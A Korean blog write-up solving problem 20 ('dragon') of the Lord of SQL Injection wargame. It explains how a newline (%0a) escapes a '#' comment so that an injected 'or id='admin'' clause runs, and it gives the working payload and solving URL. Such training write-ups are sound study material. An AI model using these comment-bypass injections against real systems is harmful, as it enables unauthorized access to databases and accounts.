write-up/LOS write-up

LOS (Lord of SQL injection) 문제 20번 dragon write-up

정보보호학과 새내기 2021. 7. 10. 21:59
반응형
SMALL

문제 20번 - dragon

 

query : select id from prob_dragon where id='guest'# and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

일단 다른 문제들과 마찬가지로 php 코드가 주어져있다.

 

먼저 필터링 함수를 확인해보면 pw를 받는 변수에 prob, _ , . , ()을 필터링하고 i를 통해 대소문자를 구별하지 않는 것을 확인할 수 있다.

<?php 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
?>

 

clear 조건을 확인해 보니 id가 guest로 되어있는 것을 admin으로 바꾸어 주면 된다는 것을 알 수 있다.

하지만 쿼리문에 있는 guest 뒤에 #이 뒤에 문장을 주석처리한다는 것을 확인할 수 있다.

<?php 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

 

위 조건을 확인해보니 #을 피해서 id를 admin으로 만들라는 것을 확인할 수 있다. 이럴때는 #의 특성을 이용해야하는데 #은 그 문장 뒤에 부분만 주석처리를 한다는 특성을 가지고 있다. 이것을 이용하면 query문을 다음줄로 내린다음 작성해주면 해당 문장이 잘 실행된다는 것을 알 수 있다. 다음줄로 이동시켜주는 %0a를 이용하여 우회할 수 있다.

 

따라서 pw=%0a and pw=1' or id=admin을 입력한다.

 

solve

https://los.rubiya.kr/chall/dragon_51996aa769df79afbf79eb4d66dbcef6.php?pw=%0a%20and%20pw=%27a%27%20or%20id=%27admin

클리어 화면

반응형
LIST